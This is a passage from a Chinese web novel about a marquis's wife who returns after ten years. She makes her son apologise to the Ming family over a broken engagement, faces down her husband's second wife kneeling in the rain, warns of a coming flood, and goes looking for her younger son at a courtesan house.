若没有,依宛清姐的脾性,不会专门提上这一句。
定是沈砚修护林婉柔的女儿,护得厉害。
沈砚修不敢看母亲的眼睛,转向一边道:“就有一次出去玩,宛清姨家的陈姑娘说了两句筝妹的不好,我帮筝妹说了两句。”
筝妹?
想到这两日,林婉柔反复提到修儿的心上人,孟南枝心中一突。
这么早就有感情了?
又想到昨日在侯府碰到的陆筝筝,她抬眼看向长子:“修儿,你与明家女退婚可是有了心上人?”
沈砚修正准备给她续茶的手顿了一下,耳根子瞬间泛红,有些结巴的道:“没,母亲,你说什么呢。”
孟南枝对自己的儿子何等了解,一看他那闪躲的神态,心里便已有了数,却只当不知,“既然你没心上人,明家又没有什么错,反倒是因为那恶奴的肆意传播对明家造成了伤害,你便同我去给明家道歉吧。”
第23章 明家姑娘
沈砚修为难道:“母亲。”
他前日才说了要退婚,今日就去道歉,太打脸了。
孟南枝轻飘飘地扫了他一眼,道:“怎么,你不愿去?你昨日街市一闹,虽没去明家,却又跟去了有什么两样,那明家附近的百姓定是传得沸沸扬扬。你身为世子,可自知自己一言一行会对别人造成多大的影响?”
致命的母威压得沈砚修垂下头,“我知道了,母亲。”
孟南枝让刘嬷嬷又备了一份厚礼,才带着长子坐上车马车,沿着街市一直往明家行驶。
随着明家越来越近,周遭小贩的说话声也越来越难声。
“这是孟家的马车吧,昨日那沈世子便是上了这马车。”
“沈世子说要与明姑娘退婚呢。”
“早就有人说这明将军是叛徒,你们还不信,这沈世子都说明姑娘不配嫁入侯府,那定是明家有问题。”
“可不是么,连沈世子都嫌弃不娶的姑娘,能有什么好。”
“这明姑娘还没出阁呢,就被退了亲,你们说还能有人要么?”
“谁会要一个被退了亲的人啊,送给你,你要不。”
“别别别,那名声都坏透了。”
沈砚修的脸色越来越红,看向母亲喃喃道:“母亲,我做错了。”
孟南枝轻拍了拍他的头,“知错能改,善莫大焉。”
沈砚修重重地点了点头,眼神逐渐坚定,掀开车帘,冷冷地对着路边闲聊的几位小贩道:“本世子与明姑娘之事岂是你们能够随意议论的?本世子从未表明过对明姑娘的嫌弃,你们若再胡吣半个字,本世子即刻就将你们全部捆了送到府衙,状告你们这些刁民信口雌黄。”
几个七嘴八舌的小贩顿时如被掐住了脖子,吓得连忙禁了声。
他们慌忙摆手,声音里带了颤,“是小的没满嘴浑话,沈世子莫要同小人计较。”
过路的行人见状,脚步都开始往回缩,生怕被牵连贴上莫须有罪名。
沈砚修冷哼一声,坐回车。
留下一群人面面相觑。
镇北侯家的沈世子转了性?竟然没追究。
马车抵达明府。
门前一位年迈的仆人仅瞥了一眼,便肃然行礼道:“侯夫人,沈世子。”
他命年轻的门房前去禀报主人,亲自引领二人步入府中。
只是才进府内,一只利箭便破空而来,紧贴着沈砚修的耳边发髻,狠狠地射在门梁上。
孟南枝瞳孔变深,下意识紧紧护住长子。
沈砚修捂着差点被射伤的耳朵,抬眼望向罪魁祸首,“谁?!”
迎面而来的少女手握短弓,一身石榴红的劲装裹着挺拔身姿,腰间系着红色玉带,利落得像一束燃得正烈的火苗。
她眉若寒星,鼻梁高挺,丝毫没有寻常闺秀的温婉,反倒是满身英气,冷眼看着他道:“你便是沈砚修?不过一纨绔子弟,想与本姑娘退亲便直说,竟还想败坏我爹名声,你当本姑娘稀罕与你成亲!”
沈砚修盯着她虽算不上惊艳,但却能让人一眼就记住的脸,别扭道:“你哪里像个姑娘。”
少女哼了哼鼻子,上下打量他:“你像个姑娘。”
随了母亲长得漂亮的沈砚修,羞恼道:“你……”
身后紧追来而的明家主母明程氏一袭枣红色劲装,她浓眉粗平,生得不算精细,却自带英气,眼角带着几道浅纹,对着女儿喝斥道:“挽月,不可无理。”
随后又对孟南枝行礼,“民妇见过侯夫人,给侯夫人请安,小女失教,还望侯夫人恕罪。”
孟南枝连忙道:“是犬子有错在先,挽月教训她是应该的。”
老侯爷与明老将军有旧,给沈砚修定下婚约时,沈砚修当时才三岁,明家又常驻边关,所以孟南枝只见过明家主母一次,当时小小的明挽月才两岁,话都说不囫囵。
明挽月对母亲悄悄吐了吐舌头,伸手对孟南枝做了一个武揖礼,“挽月见过侯夫人。”
孟南枝拉过她的手,将手腕中的玉镯取下掏在她的手腕上,温和笑道:“修儿皮实,他若有错,你就收拾他。”
这两日因着外头风言风语,对沈世子不喜的明程氏,闻言心里稍微宽慰,道:“侯夫人这莫要如此说,小女性子单纯,若仗着您疼惜,只怕会没大没小失了分寸。”
孟南枝道:“孩子嘛,活泼些才好,我瞧着这孩子眼明心亮,待人真诚,倒是喜欢得紧。”
她越看越觉得这明姑娘既有武将世家的沉稳果断,又有少女的鲜活锐劲,明媚又带锋芒,她很喜欢。
只是在那一闪而过的巨幕里,长子沈砚修与她退婚后,明程氏带她去边关路途中遭遇洪水,两人皆皆身亡。
这么好的孩子,还有这么优秀的是程氏,哪怕与她的长子成不了婚,也不该走那样的结局。
该好好地活着,像如今这般朝气蓬勃地活着才对。
明程氏有些忐忑,她是小户人家出身,嫁于明将军后,一直与明将军住在边关。
明将军战死后,京中流言四起,她性子直,没少与人起争执,最后在明老爷子的遗嘱下带着女儿去了边关。
此次回京,一为到了明老爷子周年,回来祭拜;二为女儿也差不多到了当初说好的,该成婚的年纪。
只是没想到,才回京没两日,便传出沈世子想要与她女儿退亲的消息。
而且这镇北侯夫人,明程氏记得当年离京时,镇北侯明明寻她不到为她立了衣冠冢,自己还去灵前参了礼。
这是寻回来了?
少女的眼睛很纯粹,明挽月与她母亲一样反复盯着孟南枝的脸瞧,说话也很直接,“侯夫人,您与我母亲年岁相仿,却显得比她年轻许多。”
孟南枝微笑道:“我不过是沾了如明将军一般大衍战士们守护之下的恩泽,不能与您母亲相比的。”
父亲得到夸赞,明挽月变得高兴起来,“侯夫人,您与京中其他人不同,您的话语我很喜欢听。”
孟南枝回应道:“那你闲暇时可以到孟府来找我。”
明挽月疑惑道:“孟府?不是侯府吗?侯夫人怎会住在孟府?”
第24章 同我回府
明程氏急忙将多言的女儿拉至身后,赔笑解释道:“侯夫人请勿见怪,小女年幼无知……”
孟南枝摇头笑道:“无碍,我今日带犬子来,也是为近日的事给明姑娘赔个不是。修儿。”
沈砚修闻言,连忙上前拱手道:“明夫人,明姑娘,外间传闻皆因我而起,砚修今日特来赔罪,还望你们能够原谅。”
虽然孟南枝的态度让她心里好受了些,但明程氏心里对沈砚修还是存了气,并未受他这一礼,冷声道:“沈世子若真想退亲,可直接与我们明家当面说明,我们并非非你们侯府不嫁,何苦坏我儿名声。”
孟南枝伸脚轻踢他的小腿。
沈砚修低垂着头,咬紧牙关从刘嬷嬷手中接过备好的礼盒,双膝跪地,沉声道:“明夫人教训的是,砚修知错。”
明程氏见状,心头一凉。
这是真准备退婚了。
孟南枝见明程氏面色微变,连忙将沈砚修举着的礼盒打开,递到她怀里,“这是近日京都最流行的发饰,想着你们刚回京,便各给你们备了一套,也不知道你们喜不喜欢。”
又道:“那传修儿要退亲的恶仆已被抓住送了衙门,还是屠戎将军亲自坐地堂,本想昨日便来,但因天色太晚,不好上门做客,便才拖到了今日。”
屠戎将军。
不是退亲。
明程氏面色缓和,没驳她的面,抬手接了礼,客气笑道:“承蒙侯夫人费心,我们从边关带回了一些特色胡茶与精美锦缎,原也计划今日前往侯府拜访,既已得侯夫人光临,便一同展示,敬请赏鉴,不知是否合您心意。”
两人谁也没再提退亲一事。
身后跟着的沈砚修欲言又止,明挽月拿着短弓对着他发间的玉冠几次跃跃欲试。
刘嬷嬷见状低眉但笑不语。
从明府出来,孟南枝看向兴致不高,低垂着头,连鬓角发丝乱了都没整理的长子沈砚修,温和问道:“修儿可是不高兴。”
沈砚修摇头,又点头,声音沉闷道:“母亲前日说会商议让我和明家退婚。”
孟南枝问道:“母亲可以和明家商议,但修儿同母亲说说,母亲要以什么理由和明家商议退婚呢?是明姑娘长得丑配不上你,还是你觉得明家如今势微配不上侯府。”
“母亲。”沈砚修沉闷的语气里带着少年的执拗:“都不是的,母亲,孩儿只是不想那么早成婚。”
既然一直不提陆筝筝,那便是感情还没有那么深。
苗头而已,她有的是方法去掐掉。
孟南枝道:“那便正好,明夫人刚也同我说,不想明姑娘那么早成婚,既然两家想法一致,那便再晚个一年半载的再提成婚一事也是可以的。”
沈砚修轻轻揉捏着手指,突然抬起头,带着些小心翼翼道:“母亲,若是我与明姑娘并无感情。”
她不信那么明媚朝气的明姑娘,自己的长子会不喜欢。
孟南枝眼中漾开笑意,替他理了理乱了的鬓角:“若是过个一年半载,你与明姑娘仍无情感,母亲便做主与明家把这婚退了便是。”
沈砚修望着母亲眼中的温和,心中的不安逐渐消散,“修儿让母亲劳心了。”
孟南枝轻拍了拍他的头,“你是我儿,不管做什么,母亲都不觉得劳心。”
待孟南枝带着长子沈砚修回到孟府,镇北侯沈卿知已坐在厅堂等她多时。
孟正德眼不见心不烦地躲进了书房,胡姨娘领着丫鬟躺在屋内躲清凉。
连个给他倒茶的人都没留下。
沈卿知觉的,这还是他从坐上镇北侯的位置以来,头一次遭遇如此怠慢。
本就酷热的天气,燥热得让他无处发泄心中的怒气更盛。
只是身处孟家,他那憋得一肚子火气,偏偏还发作不得。
望着孟南枝翩然归来,那张俏脸依旧如初,眉目清亮,没有一丝岁月的沉淀,鲜活明媚的模样就如春雪,让沈卿知燥热的怒气稍降下来。
他想起来时目的,迎上前去轻声道:“南枝回来啦。”
孟南枝连瞥都没瞥他一眼,在主位坐下。
刘嬷嬷连忙给她沏了茶,又嘱咐丫鬟给她摇蒲扇。
沈砚修蹙眉,在沈卿知面前躬身道了声:“父亲。”
沈卿知自持威严地点了点头,摆手示意他退下。
长子走后,他撩起青袍在孟南枝身侧坐下,享受着微风,缓缓擦拭额头的汗,从怀中掏出一支赤金点翠的簪子,“南枝,这是我在翠玉阁按照你的喜好亲自为你挑选的,你且看喜欢不喜欢。”
孟南枝斜瞥了一眼,道:“这么好的东西镇北侯不送你那平妻,送到我这里来是做什么?”
沈卿知被呛得面色泛红,轻声道:“南枝,你在孟府住了两日,侯府上下都想着你,我让管家备好了你最爱吃的菜肴,你且同我回侯府吧。”
“回府?”
孟南枝抬眼瞧了他一眼,“怎么?镇北侯是不愿和离,想休那平妻?”
沈卿知避开她的目光,道:“南枝,这件事先缓一缓,我们可以回府从长计议。”
孟南枝抿了一口茶,“沈卿知,你既不签和离、备好我的陪嫁,又不想休平妻,来寻我回去做什么?看你们在府内卿卿我我和欺辱我的孩子吗?”
孟南枝不在的这十年,他镇北侯日子过得何等舒心。
婉柔温温柔柔,哪里会用这种语气和他说话。
沈卿知恼得轻拍桌子:“那也是我的孩子,孟南枝你怎么就不信我没好好教孩子呢,修儿他们三个不都好好的活着,而且这些年,衣食住行上婉柔何时短了他们,难道不比你在时照顾得妥帖?”
孟南枝将茶盏重重地撂在桌子上,难压火气:“好好活着?你对教导子女的定义便是好好活着?!好好的修儿被你的恶奴污蔑成一个喜杀通房之少,可爱的珩儿被你打得离家出去,就连昭儿都在侯府过不下去,被带太后带了去。”
“沈卿知,这便是你所谓的好好养?当真是应了那句老话‘继母在,则继父存’,你若不愿休她,与我和离便是,何必如此虚伪作派。”
第25章 别想和离
沈卿知的面色像是淬了冰,语气满是压不住的不耐烦:“孟南枝,我亲自来给你赔罪,低声下去的请你回去,已是给足了你足够的脸面,你非要闹到不可开交的地步吗?”
孟南枝眼中无半丝波澜,只是勾了勾嘴角讥讽道:“沈卿知,我还真得谢谢你给的脸面!”
从刘嬷嬷手中接过一张纸,甩到他的脸上,“既然你如此‘给我脸面’不愿与我和离,那便把这休妻书签了吧,只要林婉柔走了,我便随你回府。”
沈卿知接过虽轻薄却将他脸打得生疼的纸,火气冲脑门,嗡嗡作响。
天边突然滚来一声闷雷,像巨兽沉在喉咙里的咆哮。
紧接着,瓢泼大雨便如倾盆而至。
孟府门外,林婉柔身着素衣跪在雨中,雨水浸湿了她的衣服,紧紧贴在身上,勾勒出曼妙的身姿。发间金钗歪斜,几缕淋湿的发丝紧紧贴在苍白的脸颊,委屈的声音柔柔且且,甚是凄惨。
“南枝,我错了,你跟侯爷回府吧。”
“南枝,我错了……”
一遍一遍又一遍。
遍遍撕心裂肺。
厅内的镇北侯沈卿知拽着休妻书的手,早已骨节泛白,听到那哭喊声,终将宣纸一把扔在地上,快步走到门口。
却又在跨跃门槛时,被大雨止住脚步,他冲着丫鬟吼道:“愣着做什么,还不快拿油伞来。”
孟南枝嗤笑,还真是自私,爱羽毛胜过爱平妻啊。
自家的主子没发话,几个丫鬟便低垂着头,没动。
沈卿知气得眼眶泛红,死死盯着孟南枝,见她依旧不为所动,脱下外衣顶在头顶跑了出去,路上还抢了一个小丫鬟的油伞。
小丫鬟在他走后,低声咒骂了他两句,双手抱住头顶着雨跑进来,“小姐,门外围满了看热闹的人,那侯府夫人怎么也不起来,说小姐不跟侯爷回去,她就一直跪下去。”
孟南枝点头,让她下去喝碗姜汤暖暖身子。
听到动静过来的长子沈砚修道:“母亲,要不要把他们接进来,只怕传出去不好看。”
他担心外人会说母亲待妾室苛刻。
孟南枝叹息,她这假好友,这恶心人的手段真是玩得越来越熟练了。
废这么大功夫冒着雨还要跪在孟府,不看到她服软,怎么可能那么容易就回去。
真当她孟南枝长这么大是当柿子捏的?
孟府门外,打着油伞看热闹的人越来越多。
“这不是镇北侯才娶的平夫人。”
“唉哟,真可怜,下这么大雨,跪在地上。”
“这孟家人也太绝情了,竟然连门都不愿开。”
“可不是么,这么娇滴滴的人跪一场,少不了得生场大病。”
“这跪在门口叫夫人是干什么,镇北侯夫人不是早死了。”
“是早死了,不过听说又回来了。”
“死了的人还能回来啊。”
出来的沈卿知心疼地将外衣搭在林婉柔的身上,“起来吧,婉柔,你这是何苦呢。”
林婉柔一张俏脸被雨水浸得发白,抬眼看向他的眼中更是雨中带泪,可怜得让人心疼,“侯爷,都是妾身的错,只要南枝愿意跟你回府,妾身做什么都愿意,妾身只愿侯爷能够活得自在。”
说罢,她便又一声声唤起来:“南枝,是我错了,求你跟侯爷回府吧。”
府门大开,身着月白锦衣的少年沈砚修手握竹骨油伞缓步而出,他的半边肩头已经被雨水浸透,衣服贴在身上,勾勒出少年初成的清瘦骨架。
而在他伞下护着的另一边,却是身着素色衣裙未沾一滴水的孟南枝。
雨珠顺着油伞而下,打在她鬓边斜插的白玉簪上,溅出的水丝印在细长的睫毛,却衬得她的眼睛越发透亮。
围观路人发出一阵惊呼。
“是镇北侯夫人。”
“果真回来了。”
“还是那么年轻,那么漂亮。”
“怪不得镇北侯对她念念不忘,不续弦。”
林婉柔见状,心中愤懑难平,指尖因暗暗使力而泛白,却仍强迫自己压下心中情绪,跪地向前,一步步挪到孟南枝跟前。
她的声音颤抖,带着无尽的哀戚,一字一句,泣不成声地倾诉着心中的悲苦。
“南枝,我错了,你跟侯爷回府吧。”
“南枝,我错了,当年淹死在大衍湖里的应该是我,是我的错,我身份低微就不该活着。”
“你不在的这些年,我一心想着替你照顾好侯爷和世子,就是盼着哪一天你回来了会高兴。”
“可是,我却没想到你竟然误会我故意抢了侯爷。”
“我没有,不,是我的错,我不该听太后懿旨嫁侯爷为妻。”
“南枝,我错了,都是我的错。”
“南枝,侯爷那般爱你敬你,哪怕寻不到你也不续弦,只为等你回来。”
“你莫要与侯爷和离,你不想让侯爷娶我为平妻,那我便自降为妾。”
“只要你肯跟侯爷回府,你让我做什么都行。”
孟南枝听得生笑,这哪里是认错的姿态。
句句说是她的错,却又句句暗指她没错。
果真,路人的窃窃私语传来。
“这平夫人也没错啊。”
“是啊,不能你死了也让别人跟着死吧。”
“镇北侯只是娶了个平妻,连那正妻之位都给她留着。”
“再逼平妻做妾就太过分了。”
少年沈砚修气得怒瞪那私语之人,却被母亲轻轻按了下来。
孟南枝轻移裙摆缓缓走在她面前,半弯腰将她脸颊上的发丝缕正,轻拍了拍她的脸。
看着她吓得轻抖了一下,孟南枝笑得更加温和:“婉柔呀,看来你还是不了解我,你我相识多年,你觉得我孟南枝会在意别人的看法吗?”
“会被别人所威胁吗?”
“你以为我出来,是怕别人说我恶毒、苛刻、善妒?”
“那你才是真的错了,我只是想出来看看你在大雨中跪着求我的凄惨模样。”
林婉柔低垂的眼中暗恨,却只能半拉着她的衣角,继续哭诉。
孟南枝嫌弃地拽开自己的衣服,起身瞥向立在她身侧的镇北侯沈卿知,笑问道:“沈卿知,你有没有见过那么一种人。”
“这种人,特别的自私,为了达到自己的目的,明明心疼自己的女人,却还是能眼睁睁地看着她跪在别人的面前。”
“我想你肯定没见过,因为这种人,我也是第一次见。”
说罢,根本不管他越来越难堪的脸色,便轻移莲步带着长子回到孟府,并彻底关上了大门。
突然一阵风吹起,刮风了沈卿知握着的油伞,使他整个身子瞬间被雨浇得湿透,他盯着那紧紧关上的大门,再也压抑不住心中怒火。
“孟南枝,镇北侯府由我做主,婉柔我不会休。”
“而你,生是沈家人,死是沈家鬼,这辈子也别想着和离!”
第26章 父亲配不上你
雨下得很大,又很急。
豆大的雨珠砸在青瓦上,噼啪作响,汇成一股股浊流顺着瓦当奔涌而下,在屋檐下挂起数道密不透风的水帘子。
廊下的丫鬟们缩着脖子,想着往外瞧,都被雨水溅湿了半个身子。
厅内胡姨娘等得着急,看着坐在椅子上的孟正德不停的埋怨着,“老爷,你说你,怎么就放心枝枝她一个人出去,这要被那两人欺负了,可怎么办。”
孟正德安慰道:“怎么是一个人,不还有修儿跟着呢,你放心,在自家门口出不了事。”
胡姨娘忿忿不平道:“那林婉柔不是个什么好人,当初她一个劲地往侯府跑,我都和你说让你当心点,你不听不管,你看看,现在闹的是个什么事儿,害得枝枝如此为难。”
孟正德摇了摇桌上的蒲扇,没作声。
女儿溺水后,镇北侯将湖水抽干也没寻到女儿的尸体,又整整寻了半年才立衣冠冢。
不管是面,还是里,这镇北侯做得都很到位。
还因着没寻着女儿的尸体,说不续弦。
只是一个女人天天往侯府跑。
他作为一个前岳丈能怎么管。
他就算是想管,他能管得着么。
胡姨娘还在絮絮叨叨地说道:“整个京都,就数她会做那表面功夫,面上装得柔柔弱弱,背地不知道捅人多少刀子。”
“就跟她那个爹一样,当初想着靠你上位,三五不时到咱家里来做客。等枝枝入了湖,你辞了太傅,这两人一个攀上了左相,一个嫁了枝枝的夫君。”
“那时我就和你说,三五不时把孩子接过来住一住,这当继母的怎么可能会真心对待前妻的孩子,你不信,你以为谁都能做到和我一样……”
“父亲,姨娘。”
一声轻唤打断她的话,胡姨娘扭过头才发现孟南枝已和沈砚修进了厅堂。
看到他们两个被雨水浸透的发髻和衣衫,直心疼的掉泪,连忙吩咐丫鬟婆子给他们擦发、换衣、端姜汤。
率先换完衣衫出来的沈砚修,一直担心地等着母亲。
父亲她对母亲怎能如此绝情!
而且婉姨她竟然那般逼母亲。
他以前还当她是真的无路可退,才嫁给父亲做平妻。
即哭又闹的,原来只是做戏。
那筝筝呢?
她会不会……
换完衣衫出来的孟南枝并不知长子此刻心中纠结,她在父亲孟正德身旁的空椅上坐下,先是喝了完姜汤,才对胡姨娘笑道:“让姨娘担心了。”
胡姨娘坐在她旁边,轻拉住她的手,道:“看见你没事姨娘就放心了,他们可是回去了?没欺负你吧。”
孟南枝摇了摇头,轻声道:“没有。”
没说是没有回去,还是没有欺负。
胡姨娘以为她说的是没有回去,看着院内的大雨道:“不回就让好好好的淋着,真当咱孟家是让人好欺辱的?”
孟南枝看着窗外丝毫没有停止迹象,一直下个不停的大雨。
突然想起巨幕中,原本大衍的百姓也都以为这只是一场普通的大雨。
可这场大雨在山城却足足下了两日,而后又下了绵延数日的小雨。
过多的雨水汇聚,造成九曲河决堤,爆发洪水。
那场洪水不仅淹死了明家母女,更是造成数万百姓的流失。
念至此,孟南枝对父亲说道:“爹,九曲河恐怕要决堤了。”
孟正德闻言正色道:“你与我细细说来。”
不问女儿如何得知,只问女儿这九曲河决堤在何处,又会造成什么样的影响和多大范围的灾情。
孟南枝与父亲一一细说自己在巨幕中所看到的关于九曲河决堤的信息。
因为巨幕闪得过快,所以她看得并不真切。
只知道明家母女因退婚急着赶往边关,死在这场洪水中,沈砚修因此除了不被圣上所喜,还被圣上在心中画了一个大大的叉。
孟正德拿出宣纸,一边听女儿说,一边画图推算九曲河决堤的大致位置。
两人推算完毕确认没有问题后,孟正德便撑着油伞,在福伯的搀扶下冒着大雨坐上马车进了皇宫。
孟南枝看着父亲消失在雨中略带蹒跚的背影,心头微微发涩。
父亲何其爱她、信她。
为了寻她,连太傅都请辞了。
九曲河决堤这么大的事,她是如何提前得知的,竟然连问都不问。
如今,孟南枝只盼,她能利用巨幕的前知帮大衍百姓少受吃点苦。
也让父亲在圣上面前不要太过于自责自己的过早致仕。
余光瞥见长子正一脸孺慕地看着自己,孟南枝转过身,温和地笑问道:“修儿你一直盯着我是在看什么呢?”
沈修砚异常认真地说道:“母亲,父亲配不上你。”
他回想刚刚母亲与外祖父商议谋算的画面,母亲的语气很慢,却句句有理有据,眼神异常的清明和果断,指尖轻点图纸时又带着非常的从容和笃定。
这是他从未在父亲身上见过的,也是父亲那位平妻所没有的。
母亲不在的这十年,父亲每天算计着他的位置该如何做得更稳,手里的权利如何往更上一层,从没像母亲今日这般大局的只是为民考虑。
孟南枝好笑地伸手点了点他的头,目光转向门外瓢泼的大雨,眉宇间添了几分忧心,问道:“可找到你珩弟了?”
算算日子,次子沈砚珩差不多该回京了。今日这雨下得这般急,若是遇到路途泥泞难行,只怕要吃不少苦。
沈砚修闻言指尖下意识地拽紧了衣襟,绸缎的面料竟被捏出几道褶皱。垂着眼帘,装出一副不知道的茫然道:“母亲你说什么?珩弟去游行了。”
心头却暗暗叫苦,珩弟实在太顽皮了,他派出去的人明明已经在峄城找到了他,连回京马车都准备好了,谁知道临出发前,他竟借着上茅房的由头,偷偷又溜走了。
母亲此时问起,他真的不知如何交代。
孟南枝瞥了她一眼,没好气道:“怎么?还想瞒我?真当我不知道珩儿是被你父亲打了一鞭后离家出走了?”
沈砚修挠了挠耳后鬓发,道:“母亲,我是怕你担心,珩弟他不会有危险的,他应该、差不多已经在回京的路上了。”
第27章 去醉香阁
孟南枝看着门外没有丝毫减缓的大雨,吩咐丫鬟拿来一件蓑衣披在身上,“我去寻他。”
按照巨幕里的情节发展,次子沈砚珩便是在此次离家出走回来后,慢慢进入歪路的,她得拦着才行。
“母亲,你等我。”
沈砚修见母亲出去,连忙也披了一件蓑衣跟着,走了两步又不放心的拐回去拿了一把油伞。
两人驾着马车赶到城门口时,进城的百姓们已在城门外排起了长龙,有的拿着油伞,有的头顶着破布,更多的人连遮挡物都没有,任由着雨水顺着脸往下淌,淋湿整个身子。
守门的几个士兵裹着油布斗篷,扯着嗓子催促着百姓赶紧往里进,“快点,都快点!磨蹭什么呢,雨里头待着舒坦?”
孟南枝和沈砚修并肩站在人群边,身上的蓑衣早已被雨水打湿,沉甸甸地贴在身上。两人目光在人群里逡巡,时不时地扒拉着擦肩而过的百姓看。
忽然,孟南枝的手顿在一个头顶笠帽身着蓑衣的粗壮男子身上。那男子被这一拦,猛地转过头,帽檐下露出的眼睛恶狠狠地瞪了她一眼,跟着又扬手往前推了她一把,“看什么看。”
孟南枝被推得踉呛半步,忙抓住他的蓑衣稳住身形,雨水顺着帽檐往下淌,恰好滴在她的睫毛上。
眼前一阵模糊,只瞥见那顶压得极低的帽檐下,下颌处有颗米粒大的黑痣,在湿漉漉的皮肤上映得格外分明。
“母亲。”
沈砚修的声音从身后传来,他几步跑上前,去抓那男子的胳膊。
那男子见有人过来,眼神一紧,往旁边一躲,甩开孟南枝拽着他蓑衣的手,闷头就往人群中挤,最后与一个戴着笠帽裹得非常严实的瘦小人影汇合在一起,两人一前一后消失在人群里。
沈砚修扶着差点跌倒的孟南枝,关切问道:“母亲你没事吧?”
孟南枝摇头,抬手抹了把脸上的雨水,望着那两人远去的背影,突然揉了揉鼻子。
雨气里混了股皮革味,浓得有些呛人。
她回过神,对沈砚修道:“去问问那边的守卫,有没有见到珩儿回来。”
沈砚修应声跑到城门洞下,与领头将领沟通,不过片刻便又跑了过来,“母亲,守门的我刚好认识,他说珩弟一个时辰前便进城了,应该是已经回府了,我们回府看看吧。”
孟南枝摇头,珩儿没有回府。
巨幕中只提到长子沈砚修退婚,次子沈砚珩离家出走回来后,跟人去了风月场所,却根本没提到是哪个场所。
思到这里,孟南枝抬眉问道:“修儿,京里现在哪些风月场所最有名。”
沈砚修道:“母亲,你问这些做什么?”
孟南枝道:“问你就说。”
沈砚修闻言低下头,有些吞吞吐吐地说着:“聚风阁,牡丹楼,醉香阁……”
孟南枝闻言眸色微变,立马跳上马车道:“去醉香阁。”
沈砚修跟着坐在前面,表情即扭捏又委屈,“母亲,我没去过两次,对那里不熟,不认识什么芙蓉姑娘。”
母亲不会还在想着甄少兴他们说的事啊,他一共才跟着去了一次,都没过夜就走了。
不提这事孟南枝倒还忘了,巨幕里这位芙蓉姑娘是最后坐上高位皇子的衣下之宾,对他情深意重。
陆筝筝与那位皇子在一起后,没少吃这位芙蓉姑娘的飞醋。为此还哄着她的长子沈砚修,三五不时地来找芙蓉姑娘的麻烦。
而她的次子沈砚珩,对那芙蓉姑娘好像也一直有一种难解情怀。
轻轻拍了还在纠结的沈砚修一下,孟南枝道:“听我的,快去。”
她只怕去晚了,她的次子就真被人哄着破了戒了。
没有母亲的孩子最容易被人带偏,孟南枝觉得她之所以活得阳光、恣意,全赖于母亲故后,父亲给予了她足够的父爱。
虽然父亲纳了胡姨娘,但胡姨娘对她不仅没有强制亲昵,更是把她当朋友一样对待。
更进一步,可以说,胡姨娘一直把她当半个主子对待。
所以她从来不觉得胡姨娘抢了母亲的位置。
但沈卿知和林婉柔不一样,他们两个从来都没有给过她的孩子父爱和正确的母爱。
孟南枝溺水时,长子沈砚修已经六岁,对母爱已经有了一定的概念,分得清母爱和她爱的区别。
但次子沈砚珩当时才四岁,对于母爱的概念是混乱的,又摊上沈卿知这么一个不靠谱的爹,林婉柔这样一个歪了心的姨。
次子沈砚珩便到处找慰藉,直到遇见待他如弟、温柔体贴的芙蓉姑娘。
孟南枝闭了闭眼,只觉得马车行得不够快,便又催促长子,“再快点。”
沈砚修此时也已经从母亲的语气中反应过来,珩弟可能去了醉香阁。
可那怎么可能呢,珩弟虽然喜欢招猫斗狗,偶尔捉弄下仆人,却是从来不沾这些的。
而且他今年才十四,大衍律历男子十五行完束发礼,才可以有通房,行那种事。
若是珩弟真的在“醉香阁”发生了什么,那他可真是不知道该怎么面对母亲了。
珩弟,定是被人哄骗了。
思至此,沈砚修勒紧马绳,催着马儿加快了速度。待马车在“醉香阁”门口停稳时,天空中的瓢泼大雨已经渐渐收了势,化作淅淅沥沥的中雨。
醉香阁二楼垂下来几条彩色的油布,像一道斑斓的帘幕斜搭到地外。外面雨还下着,门前行人落脚的那块块,倒硬是没沾着半星湿意。
沈砚修轻跃下车,随手将蓑衣解下搭在车沿,沉声吩咐道:“牵好马。”
一个穿着青衣短打的奴仆闻声快步上前,麻得地接过马绳,忙不跌的应着:“好嘞,沈世子。”
余光中却瞥见沈世子竟然从马车中迎下一女子,那女子身着素衣,鬓间只插了根白玉簪,可偏偏那张脸抬起来,映得门下的彩布都失了几分颜色。
“哟,这不是沈世子吗?今日这么大的雨还能把您给盼来,可真是我们的福气。”
第28章 名留‘青史\’
一阵香风裹着笑语传来,老鸨摇着团扇从门里迎出来,头上簪了几朵颜色鲜艳的丝绢花,脸上堆着熟稔的笑,眼尾的细纹里全是精明。
可当她看到沈砚修身边的女子时,笑着的脸突然僵了一下,即震惊于对方的美貌,又对她的身份多了几分探究,“这位是?”
沈砚修从车里寻了一件披风给母亲穿上,又给她系上维帽,挡了半张脸,转身将她半挡在身后,沉声道:“朋友,过来坐坐。”
珩弟若真的在里面,万万是不能张扬着寻找的。其实他已经和母亲沟通了好几遍,这场合不太适合她进去,可母亲不听他的。非说靠他不行,她得亲自进去寻找。
老鸨混迹岁月几十年,什么样的美人没见过。偏偏眼前的女子,虽然穿着素雅,但那眉宇间透出的气度,非一般人所比拟的,特别是那双眼睛,清得跟浸在水里的黑玉石似的。
沈世子出自镇北侯府,那眼前的女子,不是侯府,便是公府了,只是不知道哪家的小姐又图新鲜出来体验生活了。
“快请进,快请进。”老鸨回过神,往旁边让了让,很是热络地说道:“沈世子,您上回来的雅间还给你留着呢,我这就让人给您和这位姑娘备上最好的茶水和点心。”
孟南枝被沈砚修护着往里走,讲真的,她活了二十多年还是第一次来这种地方。
没去换装,以女子身份就这么进来。
还真是,有点刺激。
醉香阁内装扮得并不俗气,楼阁空旋着几幅水墨山水画,落款皆是京都几位公侯府中公子的手笔,其中一幅竟还落得镇北侯世子。
孟南枝轻飘飘地扫了长子一眼,沈砚修尴尬地摸鼻头,“母亲,我这是第二次来。”
孟南枝反向夸赞,“不亏是我的儿子,第一次来,就能名留‘青史’。”
沈砚修脸红道:“那,我让人撤下来。”
身后跟着的老鸨一时有些反应不过来,母亲?镇北侯家的沈世子竟然称这女子为母亲?
镇北侯又娶妻了?没听说啊。
可这画是万万不能撤的,撤了他们拿什么扬名吸引人呢。
老鸨忙上是前笑着说道:“沈世子这画这字,谁见了不夸上两句,若是就这么撤了,岂不是暴殄天物。”
孟南枝又抬头看了眼那幅字画,山竹与水,骨韵有致,即稳又活,便点头道:“那便留着吧。”
看母亲表情是认可的,沈砚修一时有些高兴,眉眼都弯了起来。
老鸨见状更是诧异,真想不到这桀骜不驯的沈世子,在这女子面前这般听话。
忙又引走他们往前走,“沈世子,姑娘,这便到了。”
雅间在二楼,可以看到楼下厅中央三五名穿着轻纱似露未露的姑娘在抚琴轻唱,堂下坐着三三两两的客人,或跟着姑娘纸吟浅唱,或对弈品茗。
孟南枝扫眼过去,并未在其中看到次子沈砚珩。
